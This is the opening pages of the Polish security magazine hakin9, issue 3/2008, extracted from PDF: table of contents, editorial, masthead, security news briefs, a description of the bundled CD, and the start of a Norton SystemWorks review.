4
www.hakin9.org
hakin9 Nr 3/2008
5
www.hakin9.org
hakin9 Nr 2/2006
W skrócie
6
Mateusz Stępień
Przedstawiamy najciekawsze wiadomości ze świata
bezpieczeństwa systemów informatycznych i nie tylko.
Zawartość CD
10
Prezentujemy zawartość i sposób działania najnowszej
wersji naszej sztandarowej dystrybucji hakin9.live.
Narzędzia
Norton SystemWorksTM
Basic Edition
12
Outpost Firewall Pro 4.0
13
Początki
Routing cebulowy
14
Maciej Szmit
Czy można anonimowo surfować po Internecie i kie-
dy ta anonimowość jest zagrożona?
Atak
Hakowanie Visty
18
Konrad Zuwała
Czy Windows Vista rzeczywiście jest tak bezpiecz-
nym systemem, jak zapowiadali producenci z firmy
Microsoft?
Podsłuch elektromagnetyczny
22
Grzegorz Błoński
W ostatnich miesiącach bardzo modnym tematem jest
podsłuchiwanie. Nie można zapominać, że podsłuchać
można nie tylko człowieka, ale także komputer i to, co
w nim najcenniejsze dla właściciela – jego dane.
Format BMP okiem hakera
30
Michał Składnikiewicz
Autor pokazuje, że format BMP, mimo swojej pozor-
nej prostoty, jest najeżony pułapkami oraz zawiera
wiele miejsc, w których można ukryć dodatkowe dane
bez wpływania na wyświetlaną bitmapę.
Atak na wirtualną klawiaturę
38
Sławomir Orłowski, Maciej Pakulski
Podstawowym celem tego artykułu jest pokazanie,
jak prosto ominąć zabezpieczenie, jakim jest wirtu-
alna klawiatura.
Witam!
D
rodzy Czytelnicy, niezmiernie się cieszę, że mogę
Państwa po raz kolejny przywitać i zachęcić do lek-
tury naszego magazynu. To już trzeci numer w tym
roku. Przed nami jeszcze osiem numerów, które zapewne
będą bardzo interesujące. Osiem, ponieważ w okresie waka-
cyjnym planujemy połączyć dwa pisma.
Ale do wakacji jeszcze kilka miesięcy, na razie cieszmy
się wiosną, która jest tuż tuż. Miejmy nadzieję, że po śnie
zimowym nie obudzą się robaki i wirusy, jednak jeżeli tak się
stanie, mamy dla Państwa wiele porad do walki z nimi.
W tym numerze ponownie prezentujemy najciekawsze
artykuły na rynku, najskuteczniejsze programy oraz specjal-
nie przygotowane filmy instruktażowe!
Szczególnie zachęcam do tematu numeru, jakim w tym
miesiącu jest artykuł Hakowanie Visty. Przekonalilśmy się
już, że Vista, którą Microsoft zapowiadał jako całkowitą
rewolucję w bezpieczeństwie systemów operacyjnych, nie
do końca temu opisowi odpowiada. O tym właśnie traktuje
artykuł Konrada Zuwały.
Kolejną ciekawą propozycją jest tekst Grzegorza Błoń-
skiego Podsłuch elektromagnetyczny, w którym Autor zaj-
muje się zjawiskiem ulotu elektromagnetycznego i możliwo-
ścią wykorzystania go do kradzieży danych z komputera.
Gorąco polecam lekturę!
Robert Gontarski
4
www.hakin9.org
hakin9 Nr 3/2008
5
www.hakin9.org
hakin9 Nr 2/2006
Obrona
Architektura CCA,
czyli GRID prosto i przyjemnie
46
Rafał Podsiadły
Jak funkcjonują systemy rozproszone i do czego są
wykorzystywane, dowiesz się czytając tekst Rafała
Podsiadłego.
Informatyka śledcza
jako element reakcji na incydenty
54
Przemysław Krejza
Co to jest EnCase Enterprise? Na czym polega informa-
tyka śledcza? Do czego służy dowód elektroniczny?
Entropia – pomiar i zastosowanie
58
Michał Składnikiewicz
Tekst przedstawia zagadnienia związane z entropią,
rozumianą jako wielkość losowości pewnych danych.
Bezpieczeństwo w Javie
62
Piotr Łaskawiec
Autor opisuje specjalistyczną platformę programisty-
czną – Java Enterprise Edition.
Bezpieczeństwo teleinformatyczne
danych osobowych
68
Andrzej Guzik
Czy systemy informatyczne przetwarzające dane oso-
bowe spełniają wymagania bezpieczeństwa i uwzględ-
niają przepisy prawne? Odpowiada Andrzej Guzik.
Księgozbiór
74
Recenzujemy książki Cisco PIX. Firewalle oraz Win-
dows Server 2003. Bezpieczeństwo sieci.
Wywiad
Wywiad z Eugenem Kasperskim
76
Katarzyna Juszczyńska i Robert Gontarski rozma-
wiają z ekspertem bezpieczeństwa informacji.
Felieton
Założenia komunikacji
78
Patryk Krawaczyński
Zapowiedzi
82
Zapowiedzi artykułów, które znajdą się w następnym
wydaniu magazynu hakin9.
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Pogroszewska
Redaktor naczelny: Katarzyna Juszczyńska
katarzyna.juszczynska@software.com.pl
Redaktor prowadzący: Robert Gontarski
robert.gontarski@software.com.pl
Asystentka redakcji: Barbara Czułada
barbara.czulada@software.com.pl
Wyróżnieni betatesterzy: Łukasz Witczak, Marcin Kulawinek
Opracowanie CD: Rafał Kwaśny
Kierownik produkcji: Marta Kurpiewska
marta.kurpiewska@software.com.pl
DTP Manager: Robert Zadrożny robert.zadrozny@software.com.pl
Okładka: Agnieszka Marchocka
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska pren@software.com.pl
Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 427 36 77, Fax +48 22 244 24 59
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Druk: 101 Studio, Firma Tęgi
Redakcja dokłada wszelkich starań, by publikowane w piśmie i na
towarzyszących mu nośnikach informacje i programy były poprawne,
jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;
nie gwarantuje także poprawnego działania programów shareware,
freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich
firm i zostały użyte wyłącznie w celach informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit
firmy G DATA Software Sp. z o.o.
Redakcja używa systemu automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej
niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem
na jego szkodę i skutkuje odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,
Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-
czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową w innych krajach europej-
skich.
Magazyn hakin9 wydawany jest w 7 wersjach językowych:
PL
ES
CZ EN
IT FR DE
Nakład wersji polskiej 6 000 egz.
UWAGA!
Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.
W skrócie
hakin9 Nr 3/2008
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 3/2008
Atak na amerykańskie
centrum badawcze
Laboratorium badawcze Oak
Ridge National Laboratory
(ORNL) w Tennessee oraz Los
Alamos National Laboratory
w Nowym Meksyku padło ofiarą
ataku crackera. Według przed-
stawiciela placówki w Oak Ridge
– włamywacz uzyskał dostęp
tylko do bazy danych zawierają-
cej informacje personalne osób
odwiedzających laboratorium od
1990 do 2004 roku, jednak nie
wszedł w posiadanie żadnych taj-
nych danych. Atak był poprze-
dzony falą wiadomości e-mail
zawierających załączniki ze zło-
śliwym oprogramowaniem. Po
otwarciu takiego listu uruchamia-
ły się konie trojańskie. Złodzie-
je dokonali około 1100 prób połą-
czeń w celu kradzieży danych.
Do ataku wykorzystano siedem
różnych listów elektronicznych
wysłanych do naszych pracowni-
ków. Każdy z nich zawierał złośli-
wy kod – powiedział Thom Mason
szef laboratorium.
Francja odetnie piratów
Już wkrótce francuscy internau-
ci przyłapani na nielegalnym udo-
stępnianiu filmów i muzyki będą
musieli liczyć się z możliwością
odcięcia im dostępu do Internetu.
Będzie to możliwe dzięki porozu-
mieniu, do którego doszło pomię-
dzy francuskim rządem, prze-
mysłem rozrywkowym a ISP.
Główne zadanie będzie należa-
ło do ISP, który będzie odpowie-
dzialny za monitorowanie poczy-
nań swoich użytkowników. W przy-
padku wykrycia internauty, który
w sposób bardzo nadgorliwy pała
chęcią dzielenia się różnymi zaso-
bami chronionymi prawem autor-
skim, w jego stronę zostanie
wystosowane specjalne ostrzeże-
nie. Jeśli ostrzeżeni użytkownicy
kontynuować będą nielegalne dzia-
łania, zostaną czasowo lub perma-
nentnie odłączeni od Internetu.
Norton SystemWorks 2008 już dostępny
F
irma Symantec (światowy lider
w dziedzinie ochrony informa-
cji) poinformowała o wydaniu nowej
wersji pakietu Norton SystemWorks
2008, służącego do ochrony i opty-
malizacji komputera.
Norton SystemWorks zawiera
szereg przydanych narzędzi, m. in.:
Norton AntiVirus, który chroni kom-
puter przed wirusami i oprogra-
mowaniem szpiegującym; Norton
Ghost – narzędzie pomocne w szyb-
kiej i bezpiecznej aktualizacji, archi-
wizacji oraz odtwarzaniu systemu;
Norton Utilities, One-Button Chec-
kup, Process Viewer, Optimizer
i CheckIt Diagnostics – narzędzia
służące m. in. do diagnostyki dysku
twardego, optymalizacji pracy kom-
putera, rozwiązywania typowych
problemów czy usuwania plików
tymczasowych; Web Tools – grupa
nowych narzędzi, przeznaczo-
nych m. in. do zarządzania plika-
mi cookie oraz utrzymywania połą-
czeń modemowych w czasie pracy
z Internetem.
Główne nowości wersji 2008 to
kompatybilność z systemem Win-
dows Vista, a także zaimplemen-
towana w programie Norton Anti-
Virus nowa technologia SONAR,
która pozwala na natychmiastowe
wykrywanie zagrożeń w oparciu
o analizę zachowań uruchamiane-
go kodu. W nowym Norton System-
Works 2008 znajdziemy również
program Norton Save & Resto-
re – oparte o rozwiązania Norton
Ghost narzędzie służące do łatwe-
go tworzenia kopii zapasowych
oraz szybkiego odtwarzania syste-
mu po awarii.
Oprogramowanie zostało wydane
w trzech edycjach: Basic, Standard
oraz Premier. Ceny pakietów na rynku
amerykańskim zostały ustalone na
poziomie 49,99 USD za edycję Basic,
69,99 USD za edycję Standard oraz
99,99 USD za edycję Premier.
Firma Symantec, założona w ro-
ku 1982, jest światowym liderem
oferującym oprogramowanie, urzą-
dzenia i usługi, które pomagają
odbiorcom indywidualnym, małym
i średnim firmom oraz dużym przed-
siębiorstwom w zapewnieniu bez-
pieczeństwa, dostępności i inte-
gralności informacji. Główna sie-
dziba firmy znajduje się w Cuperti-
no w amerykańskim stanie Kalifor-
nia, a oddziały całym świecie.
Rysunek 1.
Norton SystemWorks
2008 już dostępny
Dwie aktualizacje
bezpieczeństwa od Novella
A
merykańska firma Novell, specja-
lizująca się w sieciowych syste-
mach operacyjnych, takich jak NetWa-
re i Linux, wydała aktualizacje bezpie-
czeństwa dla dwóch swoich produktów.
Jedna z nich zamyka lukę w kliencie
Novell NetMail, która pozwala przejąć
kontrolę nad systemem. Druga aktuali-
zacja eliminuje trzy zagrożenia w pro-
gramie Novell BorderManager 3.8.
Rysunek 2.
Instalacja Novell
BorderManager 3.8
W skrócie
hakin9 Nr 3/2008
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 3/2008
Niezwykła
zguba brytyjskiego
Urzędu Skarbowego
Angielski minister finansów Ali-
stair Darling oświadczył, że
z urzędu podatkowego admini-
strującego zasiłkiem wychowaw-
czym na dzieci zginęły dwa kom-
puterowe dyski z danymi oso-
bowymi 25 milionów ludzi – 7
milionów rodzin uprawnionych
do jego otrzymywania. Zasił-
ki, w wysokości 18 funtów tygo-
dniowo na pierwsze dziec-
ko i 12 na każde następne, są
w Wielkiej Brytanii przyznawa-
ne wszystkim rodzicom i prawie
wszyscy je pobierają. Na zagi-
nionych dyskach znajdowa-
ły się między innymi informa-
cje o adresach osób, daty uro-
dzin dzieci, numery ubezpie-
czeń oraz numery kont banko-
wych, na które trafiają zasiłki. To
rzeczywiście bardzo, bardzo zła
sytuacja. Jestem w stanie zrozu-
mieć obawy ludzi i złość, że to
się zdarzyło. To nigdy nie powin-
no się było stać i szczerze za to
przepraszam – powiedział Ali-
stair Darling dla telewizji GMTV.
Darling wyjaśnił, że dyski zostały
przesłane z urzędu podatkowe-
go (HMRC) do krajowego audy-
tora (NAO) za pośrednictwem
firmy kurierskiej TNT, jednak
koperta nie została oznaczona
jako polecona bądź wartościowa
i – jak się okazało – nie dotarła
do odbiorcy. Minister zastrzegł,
iż nie ma powodów do paniki,
ponieważ dyski są zabezpieczo-
ne podwójnym systemem haseł,
a policja nie sygnalizowała mu,
że mogły wpaść w niepowoła-
ne ręce. W odnalezienie dysków
i ochronę danych zaangażo-
wano Scotland Yard i specjali-
stów od ochrony danych osobo-
wych. Poza głównym dochodze-
niem policyjnym prowadzonych
jest jeszcze pięć pobocznych.
Rząd obciąża odpowiedzialno-
ścią niskiego rangą pracownika
HMRC. Do dymisji podał się szef
urzędu podatkowego Paul Gray.
Mozilla Firefox 3.0 beta1
U
kazała się pierwsza oficjal-
na wersja beta przeglądarki
internetowej Mozilla Firefox 3.0.
Nowy Ognisty Lis korzysta z silni-
ka Gecko 1.9, zawiera usprawnie-
nia z zakresu bezpieczeństwa oraz
wydajności i stabilności. Poprzed-
nie testowe wydanie wersji 3 – tzw.
alfa – dostępne było jedynie dla
wybranych testerów. Przejście z fa-
zy alfa do beta oznacza zwykle, że
osiągnęliśmy już ten poziom jako-
ści i niezawodności przeglądarki,
iż może być ona wykorzystywana
przez zainteresowanych użytkow-
ników do codziennej pracy. Jest to
dla nas także kolejny ważny krok
w kierunku premiery finalnego
wydania 3 – tłumaczy Mike Schro-
epfer z Mozilli.
W Firefox 3.0 beta znajdziemy
m. in. nowy moduł do zarządza-
nia adresami często odwiedzanych
stron, nowy menedżer pobierania
(udostępniono możliwość wzno-
wienia pobierania plików) oraz
kilka nowych funkcji podnoszą-
cych bezpieczeństwo, np.: pod-
gląd informacji o stronie po kliknię-
ciu na favicon, integracja z progra-
mami antywirusowymi, integracja
z narzędziami kontroli rodziciel-
skiej w Windows Vista oraz auto-
matyczne sprawdzanie wersji do-
datków i rozszerzeń. Przedstawi-
ciele Mozilli podkreślają jednak,
że zdecydowana większość mody-
fikacji nie będzie bezpośred-
nio widoczna dla użytkowników
– zmiany będą jednak dla nich
odczuwalne. Najwięcej zmieni się
'pod maską'. Wdrożyliśmy nowe
procedury sprawdzania kodu, które
mają zagwarantować, że będzie on
odpowiednio bezpieczny. Bardzo
wierzę w to rozwiązanie – uważam,
że żadne narzędzia zabezpieczają-
ce nie zapewnią bezpieczeństwa,
jeśli kod nie będzie odpowiednio
bezpieczny.
Przypomnijmy, iż wedle wcze-
śniejszych deklaracji twórców Fire-
foksa, wersja beta 1 miała pojawić
się pod koniec lipca. We wrze-
śniu miała być udostępniona beta
2, zaś w grudniu – finalny Firefox
3. Jeśli wszystko pójdzie dobrze,
to jeszcze w tym roku pojawi się
druga beta. Finalna wersja pojawi
się w 2008 roku.
Firefox 3 beta 1 dostępny jest
m. in. w wersjach dla Linuksa, Mac
OS X oraz Windows. Program jest
spolonizowany – można go zna-
leźć na stronie Mozilli. Przedstawi-
ciele Mozilli podkreślają, że wersja
ta jest przeznaczona jedynie do
celów testowych i nie jest reko-
mendowana dla zwykłych użyt-
kowników.
Windows XP lepszy od Visty?
N
ajnowsze testy wykazały, że
Windows XP korzystający
z wersji beta Service Pack 3 ma
dwa razy lepsze osiągnięcia niż
Windows Vista działający z – długo
oczekiwaną – wersją beta Service
Pack 1.
Wydanie pierwszego Servi-
ce Pack'a dla Visty jest planowa-
ne na początek przyszłego roku
i ma on zwiększyć wydajność tegoż
systemu. Aczkolwiek, gdy wersja
wersja beta SP1 dla Visty została
poddana testom benchmarkowym
przez firmę Devil Mountain Softwa-
re, poprawa nie była oszałamiają-
ca. Dla porównania Windows XP
zakończył test w 35 sekund, a Vista
uporała się z nim po 80-ciu sekun-
dach. Warto także odnotować, że
wydajność XP z SP3-beta wzrosła
o 10%, natomiast Vista z SP1-beta
poprawiła się jedynie o 2%. Test
przeprowadzony został na maszy-
nie Dell XPS M1710 z procesorem
Core 2 Duo 2GHz i 1GB pamię-
ci RAM.
Microsoft krótko skomentował
uzyskane wyniki, twierdząc, że są
to wersje beta, nad którymi wciąż
trwają prace, a firma zawsze stara
się dostarczyć Service Pack'i speł-
niające oczekiwania klientów i koń-
cowy produkt będzie dużo lepszy.
W skrócie
hakin9 Nr 3/2008
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 3/2008
Gracz domaga się
5 milionów odszkodowania
od Microsoft
Jeden z mieszkańców Kalifor-
ni, który lubi pograć w grę Halo,
pozwał do sądu Microsoft oraz
firmę Bungie – producenta tytułu.
Wszystko dlatego, że program
nie działał prawidłowo. Klienci,
którzy posiadają wadliwy nośnik,
mogą go zwrócić lub wymienić
na nowy. Jednak Randy Nunez
postanowił poszukać innego roz-
wiązania i złożył w sądzie pozew
zbiorowy przeciwko Microsoft
i Bungie, żądając 5.000.000
dolarów odszkodowania. W
pozwie Nunez informuje, że pod-
czas grania w Halo 3 Xbox 360
zawiesza się i przestaje działać.
Microsoft w ubiegłym miesiącu
informował, że taki błąd się poja-
wia, jednak przedstawiciele firmy
nie chcieli podać do wiadomości,
co powoduje jego występowanie.
Luka w module Net::HTTPS
Firma iSEC, zajmująca się bez-
pieczeństwem systemów i apli-
kacji, ujawniła błąd występują-
cy w module Net::HTTPS, który
jest częścią języka skryptowe-
go RUBY. Aplikacja, która wyko-
rzystuje ten moduł może być
podatna na atak typu man-in-
the-middle. Moduł sprawdza
– między innymi – czy certyfi-
kat serwera jest poprawny, ale
nie porównuje wartości pola CN
(ang. common name) z faktycz-
ną nazwą generowanej strony.
Haker może więc użyć dowol-
nego, prawidłowego certyfika-
tu wystawionego przez publicz-
ny CA do infiltracji połączenia
za pomocą metody MITM. Naj-
wyraźniej problem jest spo-
wodowany błędem w funkcji
post_connection_check
, która
jest wywoływana po wynegocjo-
waniu połączenia SSL i znajdu-
je się w pliku http.rb. Bug wystę-
puje w wersjach 1.8.x modu-
łów oraz w wersjach develo-
perskich oznaczonych jako 1.9.
Podniesienie modułów do wersji
1.8.6-p111 lub 1.8.5-p114 elimi-
nuje buga. Oficjalne informacje
na stronach ruby-lang.org suge-
rują, aby ustawić wartość opcji
http.enable_post_connection_
check
na true.
Rysunek 4.
Nowy model FVS336G
NETGEAR ProSafe
VPN Firewall – FVS336G
A
merykańska firma Netge-
ar, zaliczana do czołówki
największych na świecie produ-
centów urządzeń sieciowych za-
prezentowała wszechstronną za-
porę zapewniającą bezpieczeń-
stwo sieci oraz zdalny i niezawod-
ny dostęp do Internetu – NETGE-
AR ProSafe VPN Firewall.
Nowy model FVS336G wypo-
sażono w zintegrowany, czter-
portowy przełącznik 10/100/1000
Mb/s umożliwiający szybką pracę
sieci i zarządzanie przez SNMP,
dwa porty Gigabit WAN obsługu-
jące podwójne połączenia szeroko-
pasmowe z funkcją równoważenia
obciążenia i przejmowania ruchu
w przypadku awarii, zaawansowa-
ny Firewall SPI i Multi-NAT, ekran
konfiguracyjny ProSafe Control
Center i asystenta ułatwiającego
konfigurację.
Zapora jest kompatybilna z sys-
temami operacyjnymi Windows,
UNIX, Macintosh i Linux i można
nią zarządzać poprzez protokół
SNMP.
Nowa zapora Prosafe Dual WAN
Gigabit SSL VPN Firewall to ideal-
ny produkt dla małych i średnich
przedsiębiorstw
poszukujących
rozwiązania sieciowego zapewnia-
jącego wysoką wydajność, solidne
zabezpieczenia i łatwy, bezpieczny
dostęp dla użytkowników zdalnych
oraz połączeń sieciowych pomię-
dzy lokalizacjami, wyjaśnia Woj-
ciech Karwowski, country mana-
ger NETGEAR Poland. Wszech-
stronna zapora daje zdalnym użyt-
kownikom dostęp do danych kor-
poracyjnych bez użycia oprogra-
mowania klienckiego, za pomocą
standardowej przeglądarki inter-
netowej, a tunele VPN IPsec mogą
jednocześnie otwierać bezpieczne
połączenia pomiędzy lokalizacja-
mi, z obsługą starszych rozwiązań
klient-serwer. Zintegrowany czte-
roportowy przełącznik klasy Giga-
bit i dwa gigabitowe porty WAN
gwarantują optymalna wydajność
i niezawodność sieci. ProSafe Dual
WAN Gigabit SSL VPN Firewall to
jedna z najbardziej wszechstron-
nych, niezawodnych i bezpiecz-
nych zapór dla małych i średnich
przedsiębiorstw.
Zapora NETGEAR ProSafe
Dual WAN Gigabit SSL VPN Fire-
wall (FVS336G) oferowana będzie
w pierwszym kwartale 2008 roku
z bezterminową gwarancją w skle-
pach detalicznych, internetowych
i u sprzedawców VAR, w cenie
katalogowej 425 USD (+ VAT).
Rysunek 3.
Płyta instalacyjna
FVS336G
W skrócie
hakin9 Nr 3/2008
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 3/2008
Dziura w Gadu-Gadu
Mateusz Jurczyk (współpracują-
cy z Eleytt Research w zakresie
Responsible Disclosure Assuran-
ce oraz jako zewnętrzny badacz)
znalazł lukę w module parsowa-
nia pliku emots.txt w najnowszej
wersji popularnego komunikatora
Gadu-Gadu. Program nie spraw-
dza długości bufora przy pobie-
raniu z konfiguracji nazwy pliku
zawierającego ikony. W związ-
ku z tym wydaje się, że atak jest
ograniczony do sytuacji, w której
komuś uda się nadpisać plik kon-
figuracyjny Gadu-Gadu na koncie
danego użytkownika.
Niebezpieczny VoIP
Peter Cox, specjalista od VoIP
pracujący w kanadyjskiej firmie
BorderWare, zaprezentował cie-
kawe oprogramowanie, pozwala-
jące na podsłuchiwanie rozmów
prowadzonych pomiędzy użyt-
kownikami VoIP. Oprogramowa-
nie o nazwie SIPtap może prze-
chwytywać informacje SIP oraz
monitorować strumienie pakie-
tów VoIP i zapisywać je jako pliki
*.wav w celu późniejszej anali-
zy w oddalonej lokalizacji. Wcze-
śniej trzeba się włamać do kom-
putera pracującego w wytypowa-
nej sieci i zainstalować na nim
konia trojańskiego z programem
SIPtap, który można również
instalować w sieci eksploatowa-
nej przez dostawcę usług inter-
netowych.
Top 10 najbardziej oryginalnych
przypadków utraty danych w 2007
O
ntrack, jedna z bardziej zna-
nych firm zajmujących się
odzyskiwaniem danych opubliko-
wała swój ogólnoświatowy i krajo-
wy ranking najbardziej nietypowych
przypadków utraty danych:
• Halo? Wyprałam dane – W tym
roku do Kroll Ontrack zadzwoni-
ła kobieta twierdząc, że wypra-
ła wszystkie swoje dane. Jej
pamięć USB trafiła do pralki,
a usunięcie danych zajęło pralce
cały cykl z płukaniem.
• Córeczka tatusia – Pewien tata
po pracy spieszył się do domu,
gdzie czekała na niego córecz-
ka. Wychodząc z pracy wrzucił
pamięć przenośną do przedniej
kieszeni koszuli. Jakiś czas póź-
niej, karmiąc córkę nachylił się,
a pamięć z kieszeni wylądowa-
ła w ciepłym, apetycznym, ale
dość rzadkim i klejącym jabłko-
wym puree.
• Uwaga branie! – Wędkarz wyjeż-
dżając na ryby postanowił wziąć
ze sobą laptop. Przerwy pomię-
dzy braniami chciał wykorzystać
na grę na komputerze. Kiedy tak
spędzał czas siedząc w łódce
na środku jeziora, ryba złapała
haczyk. Wędkarz wstał, zachwiał
się i po chwili on i laptop byli
w jeziorze.
• Chłodząca coca-cola – Podczas
tegorocznego lata jeden z pol-
skich użytkowników komputerów
pracował na swoim laptopie popi-
jając orzeźwiający napój. Chwila
nieuwagi i zawartość dużej
szklanki zalała klawiaturę i wnę-
trze komputera.
• Badań naukowych czar – Nauko-
wiec wylał kwas na zewnętrzny
dysk twardy. Kwas wypalił znacz-
ną część nośnika. Przekonany, że
zawartość dysku została spalona
pracownik naukowy skontakto-
wał się z ekspertami odzyskiwa-
nia danych. Dane odzyskano.
• Szwedzkie wodowanie – W trak-
cie przeładunku statku płynące-
go ze Szwecji jeden z kontene-
rów wpadł do morza i został czę-
ściowo zalany. Znajdowała się
w nim m.in. macierz zawierająca
ponad 100 dysków twardych.
• Spalony na węgiel – Po poża-
rze jednego z mieszkań stra-
żacy odnaleźli zwęglony aparat
fotograficzny. Właściciele zlecili
odzyskanie zdjęć ze spalonego
urządzenia. To jedyne, co udało
się uratować po pożarze.
• Prośba o ciszę – Brytyjski nauko-
wiec miał dość pisku, jaki wyda-
wał jego dysk twardy. Postano-
wił naoliwić urządzenie. Żeby
rozwiązać problem wywiercił
w nośniku dziurę i wlał do środka
olej. Dysk przestał piszczeć i pra-
cować.
• Zawiódł spadochron – Producent
spadochronów postanowił nagrać
na wideo testy nowego modelu.
W tym celu do obciążenia spa-
dochronu wyrzuconego z samo-
lotu dołączono kamerę. Niestety,
ładunek wraz z kamerą rozbił się
o ziemię i rozpadł na wiele kawał-
ków. Ekspertom udało się odzy-
skać nagranie.
• Inwazja mrówek – Kiedy foto-
graf z Tajlandii odkrył, że w jego
zewnętrznym dysku twardym
zadomowiły się mrówki, zdjął
jego obudowę i spryskał środek
urządzenia preparatem na insek-
ty. Mrówki nie przetrwały i dopóki
inżynierowie Kroll Ontrack nie
zajęli się problemem, wyglądało
na to, że dane też nie.
Jesteśmy coraz bardziej zaskoczeni
okolicznościami utraty danych, jakie
towarzyszą przypadkom trafiającym
do naszych laboratoriów. Cały czas
pracujemy nad narzędziami, które
z powodzeniem mogą radzić sobie
z coraz większymi wyzwaniami, jakie
bezsprzecznie stanowią te przypad-
ki. Często odzyskujemy dane w spra-
wach, w których ich właściciele straci-
li wiarę w powodzenie. Dlatego czer-
piemy z naszej pracy wielką satysfak-
cję – mówi Paweł Odor, główny spe-
cjalista Kroll Ontrack w Polsce.
hakin9.live
hakin9 Nr 3/2008
www.hakin9.org
10
N
a dołączonej do pisma płycie znajduje się ha-
kin9.live (h9l) w wersji 4.0.3 on BackTrack2.0,
zawierająca przydatne narzędzia, dokumenta-
cję, tutoriale i materiały dodatkowe do artykłów. Aby za-
cząć pracę z hakin9.live, wystarczy uruchomić kompu-
ter z CD. Po uruchomieniu systemu możemy zalogować
sie jako użytkownik hakin9 bez podawania hasła. Pro-
gramy:
• Titan Backup,
• VirusBlokAda,
• SecureDNA.
Filmy instruktażowe:
• Atak SQL Injection – wykrywanie struktury bazy da-
nych,
• Blind SQL Injection - odgadywanie haseł po znaku.
Titan Backup
Titan Backup jest świetnym rozwiązaniem do tworze-
nia kopii zapasowych. Jest bezpieczne, zautomatyzo-
wane i łatwe w użyciu przy tworzeniu kopii Twoich waż-
nych plików oraz dokumentów, poczty, reguł, rejestru,
ustawień.
Pozwala tworzyć i przewracać kopie zapasowych
ważnych danych zapisanych na dysku lokalnym, czy
nośnikach wymiennych jak płyty CD/DVD, pendrive,
dyski zewnętrzne, dyski sieciowe, zdalne serwery FTP.
Używa 256-bitowego silnego szyfrowania AES, co za-
pewni pełna ochronę poufnych danych.
VirusBlokAda
Linia produktów VirusBlokAdy bazuje na antywirusowym
silniku rozwijanym przez świetnych specjalistów. Vba32
Zawartość CD
Personal polecane jest domowym użytkownikom. Jest
bardzo dobrym i szybkim narzędziem do wykrycia i zneu-
tralizowania wirusów komputerowych, robaków e-mailo-
wych, koni trojańskich, malware, backdoorów, adware,
spyware itp.
Co więcej, VirusBlokAda oferuje oprogramowa-
nie antywirusowe dla workstacji, serwerów plików,
serwerów mailowych opartych na MS Exchange, Lo-
tus Domino dla Windows/Linux i różnorodność filtrów
antywirusowych dla serwerów mailowych korzystają-
cych z Linux/FreeBDS. Techniki użyte w oprogramo-
waniu:
• analiza heurystyczna,
• MalwareScope,
• automatyczny update modułów i bazy wirusów,
• zintegrowana kontrola.
SecureDNA
Bildsoft SecureDNA pozwala na szyfrowanie plików, fol-
derów, nośników danych, emaili. Dostarcza ochrony na
wysokim poziomie. Najważniejsze funkcje:
• szyfrowanie AES 256-bit,
• szyfrowanie poczty,
• ochrona pendrivów,
• ochrona płyt,
• menadżer,
• kontrola jakości hasła,
• ukrywanie danych w plikach audio i w obrazkach,
• drag & drop.
Wymagania:
• .NET Framework 2.0.
Rysunek 1.
Operacje przetwarzania danych osobowych
Rysunek 2.
Zarządzanie ryzykiem
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona
mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres:
cd@software.com.pl
12
Narzędzia
hakin9 Nr 3/2008
www.hakin9.org
Oprogramowanie firmy Symantec zawsze cieszyło się
dużym uznaniem wśród użytkowników komputerów.
Jednym z dostępnych pakietów jest SystemWorksTM.
W wersji podstawowej (Basic Edition) w skład pakie-
tu wchodzą: Norton UtilitiesTM, Norton GoBackTM, One
Button Checkup oraz System Optimizer.
Instalacja oprogramowania nie sprawia najmniejsze-
go problemu nawet osobom z minimalną wiedzą kom-
puterową. Przed jej rozpoczęciem należy się jednak
upewnić, czy dysponujemy odpowiednią ilością miejsca
na dysku twardym (Norton GoBackTM wymaga 10% wol-
nego miejsca na dysku na historię – istnieje możliwość
ręcznego skonfigurowania w trakcie instalacji). Poszcze-
gólne programy mogą być uruchomione bezpośrednio
z dysku CD bez instalacji (Norton CleanUp, Norton Disk
Doctor, Norton WinDoctor).
Po pomyślnej instalacji dostajemy bogaty zestaw
narzędzi gotowych do optymalizacji oraz naprawy nasze-
go systemu. Mówiąc najbardziej ogólnie, możemy podzie-
lić pakiet na Norton Cleanup oraz Norton Utilities. Pierw-
szy zawiera aplikacje pozwalające na szybkie usunię-
cie plików tymczasowych, plików cookie, plików historii
internetowej oraz pamięci podręcznej. Druga grupa jest
znacznie liczniejsza i zawiera narzędzia diagnostycz-
no-naprawcze:
• Norton Disk Doctor – narzędzie służące do diagno-
zowania oraz naprawiania problemów dotyczących
dysków twardych,
• Norton System Doctor – monitor systemu, reagują-
cy natychmiast w przypadku wykrycia problemu (za-
równo powiadomieniem użytkownika, jak i – w nie-
których sytuacjach – automatyczną naprawą). Apli-
kacja pozwala na wybór aktywnych czujników nad-
zorujących m. in. dyski twarde, procesor, pamięć
i sieć,
• Norton WinDoctor – bardzo przydatne narzędzie, słu-
żące do rozwiązywania najczęstszych problemów
